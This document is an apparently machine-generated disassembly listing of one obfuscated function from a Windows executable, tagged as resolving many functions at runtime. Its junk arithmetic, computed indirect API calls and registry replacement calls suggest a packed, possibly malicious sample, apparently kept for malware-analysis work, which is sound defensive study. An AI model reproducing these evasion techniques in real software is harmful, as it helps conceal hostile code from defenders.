Function at 0x401ade
Capabilities:
Link many functions at runtime

Disassembly:
sub ebx, 1
mov eax, 0xb4e
shr eax, 4
inc eax
sub eax, dword [0x42b03a]
inc eax
shl eax, 1
add eax, dword [0x42b1aa]
sub eax, esi
add eax, edi
sub dword [0x42a490], eax
mov edx, 0
sub edx, dword [0x42a025]
add edx, dword [0x42b1b0]
add edx, 0x464
add dword [0x42b2c9], edx
call section..f
cmp ax, 0xc8d5
jnp 0x40106d
sub ebx, edx
add ecx, eax
or esi, 0x1a
sub eax, ebx
inc ebx
add eax, ebx
add ecx, esi
mov edx, esi
xor ecx, ebx
push 0x37f72a
pop edx
mov edi, 0xa8972
add edx, edi
push dword [edx]
pop edx
call edx
or eax, eax
je 0x401063
mov ecx, 0x238004
mov esi, 0x1f2e8f
add ecx, esi
push ecx
mov ecx, 0x23f177
add ecx, 0x1ebe12
push ecx
mov edi, 0x416346
add edi, 0x14ad2
push edi
xor eax, eax
push eax
mov esi, 0x1037e04
mov edx, esi
mov edi, 0xc0fcb8
mov esi, edi
sub edx, esi
call dword [edx]
or eax, eax
je 0x401063
call 0x401058
lea ecx, [3]
sub ebx, dword [0x42c4f1]
mov esi, 0x35
xor ebx, esi
push 0
push 0
mov edx, 0
mov eax, edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, 0x21eb2dd6
mov eax, edi
push eax
mov esi, 0x2ab357
mov edx, esi
add edx, 0x17eef1
push edx
mov ebx, 0
mov ecx, ebx
push ecx
mov ecx, 0xaab3c4
mov edi, ecx
sub edi, 0x683284
call dword [edi]
or eax, eax
je 0x40100e
call 0x4010d2
sub edi, 2
lea ebx, [edi + 8]
dec edi
xor esi, esi
push esi
push 0xfb1520
pop eax
mov ebx, 0xb894b4
mov esi, ebx
sub eax, esi
call dword [eax]
or eax, eax
je 0x40106b
lea ecx, [edi + 0x42b06f]
add ecx, ebx
sub ecx, edi
rol ecx, 6
dec ecx
rol ecx, 1
shr ecx, 1
sub dword [0x42a347], ecx
xor esi, esi
push esi
mov edx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edx
mov dword [0x42b1c0], eax
mov ebx, 0
push ebx
push 0x214006
pop ecx
shl ecx, 1
call dword [ecx]
or eax, eax
jne 0x40106b
call 0x401131
mov esi, 0x2e
lea edx, [0xa]
lea esi, [0xcc]
mov edx, eax
or ebx, 0x22
mov edi, 0x22c
rol edi, 2
shr edi, 2
add dword [0x42b030], edi
sub edi, esi
add dword [0x42aeb3], edi
mov edx, 0x4d
rol edx, 1
sub edx, dword [0x42a72f]
mov ebx, edx
dec ebx
sub dword [0x42a166], ebx
xor ebx, ebx
push ebx
push 0x8a
pop ebx
push ebx
push 0xfd
pop edx
push edx
push 9
pop ecx
push ecx
mov eax, dword [sym.imp.gdi32.dll_SetViewportOrgEx]
call eax
mov dword [0x42afb3], eax
or eax, eax
je 0x40120f
add ebx, esi
inc edi
ret
xchg edi, esi
mov ecx, ebx
add ebx, eax
sub ebx, 2
add edi, ebx
inc ecx
mov edx, 0x214004
mov ebx, edx
shl ebx, 1
call dword [ebx]
mov dword [0x42a057], eax
or eax, eax
jne 0x401235
sub edi, eax
lea eax, [eax + 0x42a579]
add eax, 0xed5
inc eax
add eax, 0xcd2
je 0x40124b
sub eax, esi
ror eax, 5
sub dword [0x42a2b0], eax
add eax, dword [0x42ae41]
shr eax, 5
sub dword [0x42b052], eax
push eax
call 0x401210
mov esi, eax
add eax, 2
sub ebx, 1
inc esi
mov dword [0x42b2f6], 0
mov ecx, dword [0x42b2f6]
push ecx
mov esi, 0xb2
push esi
push 0x21
pop edi
push edi
push 5
pop eax
push eax
mov eax, dword [sym.imp.gdi32.dll_SetViewportOrgEx]
call eax
or eax, eax
jne 0x4010de
mov dword [0x42ae88], 0
mov ebx, dword [0x42ae88]
push ebx
push 0x21400c
pop ecx
shl ecx, 1
call dword [ecx]
or eax, eax
je 0x401137
call 0x401269
mov esi, 0xe4
add eax, 1
mov ebx, 8
mov edx, esi
push 0
push 0
mov ebx, 0
mov ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea edi, [ebx + 0x42a68d]
shr edi, 5
sub edi, 0x54b
add edi, edi
inc edi
add dword [0x42b372], edi
mov esi, 0x84379d
mov ecx, esi
sub ecx, 0x41b795
call dword [ecx]
or eax, eax
je 0x401061
xor edi, edi
push edi
xor ecx, ecx
push ecx
mov edx, 0x9f1ad9
mov esi, 0x5c9aad
mov eax, esi
sub edx, eax
call dword [edx]
or eax, eax
jne 0x4012e4
call 0x4012d4
dec eax
add edi, esi
or ebx, 0x2e
xor esi, ebx
cmp ebx, dword [0x42bf02]
dec eax
push 0x45
pop ebx
push ebx
push 0x929f42
pop ebx
mov edi, 0x501e3a
sub ebx, edi
call dword [ebx]
mov edi, 0x4125ecb3
push edi
push 0x311d6d
pop edi
add edi, 0x119353
push edi
push 0x15a7b7
pop edi
add edi, 0x2d07f1
push edi
xor ebx, ebx
push ebx
mov edi, 0x8426a
mov eax, edi
mov edi, 0x3a69e4
add eax, edi
push eax
mov edi, 0x11fd65
mov edx, edi
add edx, 0x30a878
push edx
mov ebx, 0xaf
mov ecx, ebx
push ecx
mov ebx, 0
mov eax, ebx
push eax
mov esi, 0xe3933
mov ecx, esi
add ecx, 0x344811
push dword [ecx]
push 0x42b16a
pop edx
pop dword [edx]
mov ecx, dword [0x42b16a]
call ecx
or eax, eax
je 0x401061
push eax
call 0x40134a
mov ecx, edi
add esi, 2
mov edx, eax
mov eax, 8
add ebx, eax
mov esi, 0x37
add edx, ebx
push 0
push 0
mov edi, 0
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0xf7
pop esi
push esi
mov edi, 0
push edi
push 0xb3
pop eax
push eax
xor esi, esi
push esi
mov ecx, 0
mov edx, ecx
push edx
mov ebx, 0xc00
mov eax, ebx
push eax
mov edx, 0x4204ae
mov dword [0x42b013], 0x7b62
add edx, dword [0x42b013]
push dword [edx]
pop dword [0x42ad16]
mov edx, dword [0x42ad16]
call edx
or eax, eax
jne 0x40126b
jmp 0x4013ec
sub esi, 1
add esi, 2
mov ecx, 3
push 0
push 0
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0
pop ecx
push ecx
mov eax, 0xd4
push eax
mov dword [0x42a04e], 0
mov ecx, dword [0x42a04e]
push ecx
push 0xa0
pop esi
push esi
mov edi, 0x98
mov ecx, edi
push ecx
mov dword [0x42a6c6], 0
mov eax, dword [0x42a6c6]
push eax
push 9
pop edi
push edi
mov edi, 0x84816c
mov ebx, edi
sub ebx, 0x420048
call dword [ebx]
or eax, eax
jne 0x4010d8
jmp 0x40146f
mov ecx, 0xc
or ebx, 4
sub eax, ebx
mov eax, 5
push eax
mov esi, 0x214086
shl esi, 1
call dword [esi]
or eax, eax
jne 0x401358
mov ecx, 0
ror ecx, 1
dec ecx
add ecx, dword [0x42a8bf]
mov edx, ecx
sub edx, dword [0x42b229]
sub edx, 0xdc
inc edx
cmp edx, 0x81e
js 0x40158e
cmp edx, 0x7c0
ja 0x40158e
add dword [0x42b0d3], edx
add dword [0x42ac47], edx
call fcn.00401530
mov dx, 0xb04
sub esi, 1
add ecx, edi
lea eax, [0xa]
sub ecx, eax
push 0
push 0
mov ecx, 0
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ecx, 0xe3
mov edx, ecx
push edx
mov esi, 0x75
mov eax, esi
push eax
push 0xac
pop ecx
push ecx
mov edi, 7
mov ecx, edi
push ecx
mov ecx, 3
push ecx
push 0x149c98
pop esi
mov dword [0x42a1f6], 0x2de3e8
add esi, dword [0x42a1f6]
push dword [esi]
pop dword [0x42a05e]
mov esi, dword [0x42a05e]
call esi
or eax, eax
jne 0x4011b0
ret
mov edi, 0xc3
or eax, 0x43
add eax, ebx
xor edi, edi
inc ebx
mov edx, 7
mov esi, edx
push esi
mov ebx, 0xce6b15
mov ecx, ebx
sub ecx, 0x8bea09
call dword [ecx]
or eax, eax
jne 0x401352
xor edi, edi
push edi
mov edx, 1
mov eax, edx
push eax
mov edi, 0xca5d1c
mov eax, edi
push 0x87dbfc
pop ebx
sub eax, ebx
call dword [eax]
or eax, eax
jne 0x40134d
call 0x401613
sub ebx, 1
or esi, 0x3f
sub edi, dword [0x42c718]
xchg edi, ebx
sub esi, ebx
push 0x3bf2f2
pop edi
add edi, 0x6bb0c
push edi
mov esi, 0x4235f1
mov eax, esi
mov dword [0x42b264], 0x6eda
add eax, dword [0x42b264]
push eax
mov ebx, 0x2d560
mov edi, 0x3fd007
add ebx, edi
push ebx
xor ebx, ebx
push ebx
mov eax, 0x726832
push 0x2fe6e6
pop ecx
sub eax, ecx
call dword [eax]
or eax, eax
je 0x40126b
jmp 0x401668
xor eax, eax
call dword [sym.imp.user32.dll_CreateMenu]
mov dword [0x42acc3], eax
mov edx, 0
mov eax, edx
xor edx, edx
add edx, esi
mov ebx, edx
sub ebx, 0x517
jns 0x401b06
add ebx, 0xf05
add dword [0x42a146], ebx
mov ebx, 0x6b4
rol ebx, 1
shr ebx, 1
dec ebx
add dword [0x42af67], ebx
push 0x993
pop edx
rol edx, 6
sub dword [0x42a6ba], edx
dec edx
sub dword [0x42aa27], edx
jmp 0x4028e0
mov dword [0x42a3f1], ebp
mov eax, dword [0x42a3f1]
push eax
push esp
pop ebp
sub esp, 0x44
push edi
push esi
push eax
push 0
push 0
push 0x33b54
push 0x769c7
call fcn.0040175c
mov dword [ebp - 8], eax
mov ecx, 0
add ecx, ecx
mov edx, ecx
sub edx, 0x749
jb 0x40291d
shr edx, 1
dec edx
shr edx, 8
mov dword [ebp - 0x3c], edx
push 0
add eax, edi
push esi
push 0xc114b
call fcn.0040170c
mov dword [ebp - 0x1c], eax
or eax, eax
je 0x40293b
dec eax
push 0
push 0xf003f
push 0
push 0x42b06e
push 0x80000002
mov ecx, dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExW]
call ecx
add ebx, esi
add edi, eax
lea eax, [0x42a05e]
push eax
push 0xb771a
push ebx
inc eax
add ebx, esi
push 0x83890
call fcn.00401a94
mov dword [ebp - 8], eax
push 0xc5c
pop edi
mov esi, edi
add esi, dword [0x42a8fe]
sub esi, 0xf40
shl esi, 2
add esi, ebx
sub esi, dword [0x42afd0]
sub esi, edi
inc esi
sub dword [0x42a55e], esi
sub esi, ebx
add ebx, esi
cdq
lea eax, [0x42a5f7]
push eax
push edi
mov dword [ebp - 0x44], eax
inc esi
push esi
call fcn.0040170c
mov dword [ebp - 0x20], eax
or eax, eax
je 0x4029c0
dec ebx
add esi, eax
push 0
mov dword [ebp - 0xc], 0x214050
mov eax, dword [ebp - 0xc]
shl eax, 1
call dword [eax]
mov dword [ebp - 0x14], edi
push 0xcf1c5
lea eax, [0x42a021]
push eax
push ebx
push 0
push 0xebd8d
call fcn.00401934
mov dword [ebp - 0xc], eax
or eax, eax
je 0x4029f5
inc eax
dec esi
add esi, eax
inc ebx
lea eax, [0x42ab27]
push eax
lea eax, [0x42a9ae]
push eax
call fcn.004019dc
mov dword [ebp - 0x28], eax
or eax, eax
je 0x402a15
add eax, ebx
inc eax
sub eax, esi
dec ebx
push 0xa9486
lea eax, [0x42a88e]
push eax
push 0xd3c3e
lea eax, [0x42a9f6]
push eax
lea eax, [0x42a353]
push eax
lea eax, [0x42a844]
push eax
call fcn.0040182c
mov dword [ebp - 4], eax
or eax, eax
je 0x402a4d
add esi, edi
inc edi
lea eax, [0x42a8f7]
push eax
lea eax, [0x42ae63]
push eax
push 0xa1782
call fcn.0040170c
mov ebx, 0
add ebx, esi
sub ebx, dword [0x42a0ed]
sub ebx, 0x378
inc ebx
sub ebx, 0x251
jne 0x402a81
add dword [0x42a458], ebx
mov ebx, 0xeb62c6e
push ebx
mov ebx, 0x33df2
mov dword [ebp - 0x1c], 0x3f662f
add ebx, dword [ebp - 0x1c]
push ebx
push 0
pop edi
push edi
mov ecx, 0xa65d3d
mov edi, 0x63dbfd
mov ebx, edi
sub ecx, ebx
call dword [ecx]
or eax, eax
je 0x401214
mov ecx, 0x68
mov edx, ecx
push edx
mov esi, dword [sym.imp.gdi32.dll_FillPath]
call esi
or eax, eax
jne 0x401214
mov ebx, 0x7088e666
mov edx, ebx
push edx
mov ebx, 0x1a5d37
mov edx, ebx
add edx, 0x284687
push edx
mov edx, 0
mov eax, edx
push eax
mov edx, dword [sym.imp.ADVAPI32.DLL_RegRestoreKeyW]
call edx
or eax, eax
je 0x401069
mov edx, 1
mov ecx, edx
push ecx
mov esi, dword [sym.imp.gdi32.dll_GetArcDirection]
call esi
or eax, eax
jne 0x40161b
mov edx, 0xe4
mov ecx, edx
push ecx
mov edi, 0x5d
push edi
mov ecx, 0x48
mov eax, ecx
push eax
mov eax, 7
push eax
mov dword [ebp - 0x24], 0
mov edx, dword [ebp - 0x24]
push edx
mov edi, dword [sym.imp.user32.dll_CallWindowProcA]
call edi
or eax, eax
jne 0x40100e
mov dword [0x42ae1b], 0
mov ecx, dword [0x42ae1b]
push ecx
mov ebx, dword [sym.imp.user32.dll_GetMenu]
call ebx
or eax, eax
jne 0x4015a3
add esi, ebx
push edi
mov dword [ebp - 0x24], eax
sub ebx, esi
inc ebx
push eax
dec edi
lea eax, [0x42af18]
push eax
push 0x5a964
call fcn.00401a3c
mov dword [ebp - 0x3c], eax
or eax, eax
jne 0x402b96
inc eax
mov dword [ebp - 0x1c], 0
mov ebx, dword [ebp - 0x1c]
push ebx
mov dword [ebp - 0x40], 5
mov eax, dword [ebp - 0x40]
push eax
mov dword [ebp - 0x20], 0x7d4aa9
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x44], 0x3ac989
sub esi, dword [ebp - 0x44]
call dword [esi]
or eax, eax
jne 0x40105f
mov ebx, 0x1aec2b
mov edx, ebx
mov dword [ebp - 0xc], 0x2793dd
add edx, dword [ebp - 0xc]
push dword [edx]
pop edx
call edx
or eax, eax
je 0x401233
mov esi, 3
mov edx, esi
push edx
mov edx, 3
mov esi, edx
push esi
mov edx, 0xf754a4
mov esi, edx
sub esi, 0xb4d3a4
call dword [esi]
or eax, eax
jne 0x40153a
push 0x6d5275
pop eax
push 0x2ad1e1
pop edi
sub eax, edi
call dword [eax]
mov ebx, 0x118485
mov edi, ebx
mov dword [ebp - 0x28], 0x312b7e
add edi, dword [ebp - 0x28]
push edi
mov dword [ebp - 0x1c], 9
mov edx, dword [ebp - 0x1c]
push edx
push 0x2e4995
pop edx
mov ebx, 0x14374f
add edx, ebx
mov edx, dword [edx]
call edx
or eax, eax
jne 0x4013fd
lea eax, [0x42a561]
push eax
call fcn.004018b0
mov dword [ebp - 0x24], eax
or eax, eax
jne 0x402c6a
sub esi, eax
push 9
pop edx
push edx
push 0x214082
pop edi
shl edi, 1
call dword [edi]
or eax, eax
jne 0x40161d
cwde
sub esi, ebx
push 0xbdb07
sub esi, eax
or al, al
inc esi
push 0
push 0xa5afa
sub edi, esi
inc edi
dec ebx
mov dword [ebp - 8], edi
dec edi
lea eax, [0x42a696]
push eax
push 0x60f8b
inc edi
push 0x963f3
call fcn.004018f8
mov dword [ebp - 0x20], eax
or eax, eax
jne 0x402cc1
mov ebx, edi
sub ebx, eax
push 0x34785a
pop edi
add edi, 0xe2a21
push edi
xor eax, eax
push eax
mov dword [ebp - 0x1c], 0x21409e
mov eax, dword [ebp - 0x1c]
shl eax, 1
call dword [eax]
or eax, eax
je 0x401210
lea eax, [0x42a37e]
push eax
call fcn.004018b0
mov dword [0x42aaf4], eax
or eax, eax
jne 0x402cfe
neg ebx
dec esi
push 0x6fec
push 0x6dcaf
push 0
push 0
push eax
push 0
call fcn.004017ec
mov dword [ebp - 0x38], eax
or eax, eax
jne 0x402d1d
dec ebx
mov ecx, 0x1bf041
mov dword [0x42ac4e], 0x26b429
add ecx, dword [0x42ac4e]
push ecx
push 0x3106ab
pop esi
add esi, 0x11a95f
push esi
mov dword [ebp - 0x28], 0x1a4e13
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], 0x2862fb
add eax, dword [ebp - 0x30]
push eax
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x28]
push edx
mov ebx, dword [sym.imp.ADVAPI32.DLL_RegReplaceKeyW]
call ebx
or eax, eax
je 0x40126b
lea eax, [0x42a40b]
push eax
push 0x2d980
add esi, edi
add esi, eax
push 0xe0040
push 0
push 0
push 0xbf19
call fcn.00401870
mov dword [ebp - 0x18], 0x49
mov esi, dword [ebp - 0x18]
push esi
mov eax, dword [sym.imp.gdi32.dll_FillPath]
call eax
dec ebx
sub esi, ebx
push 0
call fcn.00401978
mov dword [ebp - 0x3c], eax
push 0x778
pop edi
sub edi, dword [0x42b12d]
ror edi, 2
shl edi, 5
mov dword [ebp - 0xc], edi
xor esi, esi
push esi
mov ebx, 0x278e71
mov ecx, 0x1af19b
add ebx, ecx
push dword [ebx]
pop dword [0x42a0db]
mov ebx, dword [0x42a0db]
call ebx
mov dword [0x42b2c4], eax
lea eax, [0x42abe1]
push eax
call fcn.004018b0
mov dword [0x42a86b], eax
or eax, eax
je 0x402e01
inc edi
push 0x3adc9
add eax, ebx
sub ebx, eax
push ebx
push 0
dec ebx
push 0x6e4d8
push esi
mov edx, 0xdefe52ff
sub edx, 0xdebe34f7
call edx
or eax, eax
je 0x401212
mov ebx, eax
lea eax, [0x42a03e]
push eax
push eax
push esi
push 0
call fcn.00401a3c
mov dword [0x42b05b], eax
or eax, eax
je 0x402e45
inc esi
lea esi, [esi + 0x42a6fd]
shr esi, 1
dec esi
rol esi, 5
sub esi, dword [0x42a8e3]
add dword [0x42ac7f], esi
xor esi, esi
push esi
push 0x1004930
pop eax
sub eax, 0xbdc86c
call dword [eax]
or eax, eax
jne 0x40134d
mov edi, 0x4e
mov edx, edi
push edx
mov dword [ebp - 0x3c], 0
mov esi, dword [ebp - 0x3c]
push esi
push 3
pop edx
push edx
mov dword [ebp - 0x40], 0x214088
mov edi, dword [ebp - 0x40]
shl edi, 1
call dword [edi]
inc eax
jne 0x40121c
mov dword [ebp - 0x40], 0x79d1a111
mov esi, dword [ebp - 0x40]
push esi
mov dword [ebp - 8], 0x1c56d4
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], 0x265969
add eax, dword [ebp - 0x24]
push eax
mov dword [0x42a131], 0
mov edx, dword [0x42a131]
push edx
mov dword [ebp - 0x20], 0xfd026
mov edi, dword [ebp - 0x20]
add edi, 0x32b11a
push dword [edi]
pop dword [0x42b2bc]
mov edi, dword [0x42b2bc]
call edi
or eax, eax
je 0x40159d
mov dword [ebp - 0x10], 0x1c356281
mov esi, dword [ebp - 0x10]
push esi
mov esi, 0x148e80
mov ecx, esi
mov edi, 0x2e1c8a
add ecx, edi
push ecx
push 0x39c58b
pop ecx
mov dword [ebp - 0x18], 0x8eb30
add ecx, dword [ebp - 0x18]
push ecx
mov esi, 0
push esi
mov esi, 0x39720b
mov edx, 0x9355c
add esi, edx
push esi
push 0x17666e
pop esi
mov edi, 0x2b40c7
add esi, edi
push esi
mov dword [ebp - 0x10], 0x46
mov esi, dword [ebp - 0x10]
push esi
xor edx, edx
push edx
mov eax, 0x2140a2
mov edi, eax
shl edi, 1
call dword [edi]
or eax, eax
je 0x401069
mov dword [ebp - 0x10], 0x34650d
mov edi, dword [ebp - 0x10]
mov dword [0x42a727], 0xe4991
add edi, dword [0x42a727]
push edi
push 0
pop edx
push edx
mov edx, 0x21409e
mov esi, edx
shl esi, 1
call dword [esi]
or eax, eax
je 0x4013fd
mov ecx, 9
push ecx
mov eax, 0x1010cb1
mov edx, eax
sub edx, 0xbe8c11
call dword [edx]
or eax, eax
jne 0x40146f
mov eax, 0x3e4a34
mov edx, 0x45b16
add eax, edx
push eax
mov dword [ebp - 0x28], 0
mov esi, dword [ebp - 0x28]
push esi
mov edx, 0x3ee544
mov edi, edx
mov edx, 0x39bf8
add edi, edx
push dword [edi]
mov edx, 0x42a847
mov esi, edx
pop dword [esi]
mov edi, dword [0x42a847]
call edi
or eax, eax
je 0x401613
xor edi, edi
rol edi, 7
mov esi, edi
sub esi, dword [0x42af4a]
inc esi
mov dword [ebp - 0x1c], esi
push 0xdb
pop esi
push esi
push 0xad
pop edi
push edi
xor edi, edi
push edi
mov dword [ebp - 0x34], 0
mov edi, dword [ebp - 0x34]
push edi
push 9
pop eax
push eax
mov eax, 0x101091
mov edi, eax
add edi, 0x32705f
push dword [edi]
pop dword [0x42a9ad]
mov edi, dword [0x42a9ad]
call edi
or eax, eax
jne 0x4012e4
push edi
call fcn.004017ac
mov dword [ebp - 0x10], eax
or eax, eax
je 0x403064
inc edi
mov edi, 0x19
push edi
mov edx, 0x9db6d
mov eax, edx
mov edx, 0x38a59b
add eax, edx
push dword [eax]
pop dword [0x42a52f]
mov eax, dword [0x42a52f]
call eax
or eax, eax
jne 0x4011aa
mov dword [0x42a805], 0
mov ecx, dword [0x42a805]
push ecx
mov edx, 0x214006
mov edi, edx
shl edi, 1
call dword [edi]
or eax, eax
jne 0x40106f
push 0
lea eax, [0x42a9f8]
push eax
lea eax, [0x42a625]
push eax
inc edi
sub edi, esi
push 0
sub edi, ebx
add esi, edi
inc edi
push 0
push 0xade3b
mov edi, 0x11908b
add edi, 0x2e9359
call edi
push esi
push edi
push ebx
lea eax, [0x42ae81]
push eax
dec ebx
lea eax, [0x42ac6c]
push eax
lea eax, [0x42a67f]
push eax
push 0
lea eax, [0x42ad3f]
push eax
call fcn.004018f8
mov dword [ebp - 0x24], eax
or eax, eax
je 0x403111
mov edx, eax
push 0xa2c2c
push edi
push 0
inc ebx
add ebx, eax
lea eax, [0x42a701]
push eax
lea eax, [0x42a7c4]
push eax
push 0
call fcn.004018f8
mov dword [ebp - 0x24], eax
or eax, eax
je 0x40313b
mov ebx, edi
cwde
mov ebx, esi
sub ebx, 0x90
je 0x40314f
add ebx, 0xe7d
jb 0x40314f
shl ebx, 1
inc ebx
rol ebx, 1
shl ebx, 7
mov esi, ebx
mov dword [ebp - 4], esi
lea eax, [0x42ab6e]
push eax
push 0x2a04c
push 0
mov dword [ebp - 0x40], eax
inc esi
push 0
inc eax
sub eax, ebx
dec edi
push 0
lea eax, [0x42a9d0]
push eax
call fcn.004018f8
mov dword [ebp - 0x1c], eax
or eax, eax
jne 0x40318b
mov edx, eax
bswap esi
inc edx
lea eax, [0x42a0e9]
push eax
push 0xab265
push eax
push edi
push 0
push edi
call fcn.00401870
mov dword [0x42b089], eax
push 0xd8d1c
add ebx, edi
sub ebx, edi
inc esi
lea eax, [0x42a1d5]
push eax
push edi
push 0x4b3ff
call fcn.00401a3c
mov dword [0x42abea], eax
or eax, eax
je 0x4031d0
or esi, 0x65
dec edi
dec esi
add ebx, esi
inc edi
push 0
push 0
push 0
push 0
call fcn.00401a94
mov dword [0x42a38b], eax
or eax, eax
je 0x4031ed
or eax, 0x7a
inc edi
inc ebx
dec eax
push 0x2409d
push 0xdf8b0
dec eax
push 0
push edi
push 0
push 0
call fcn.0040182c
ret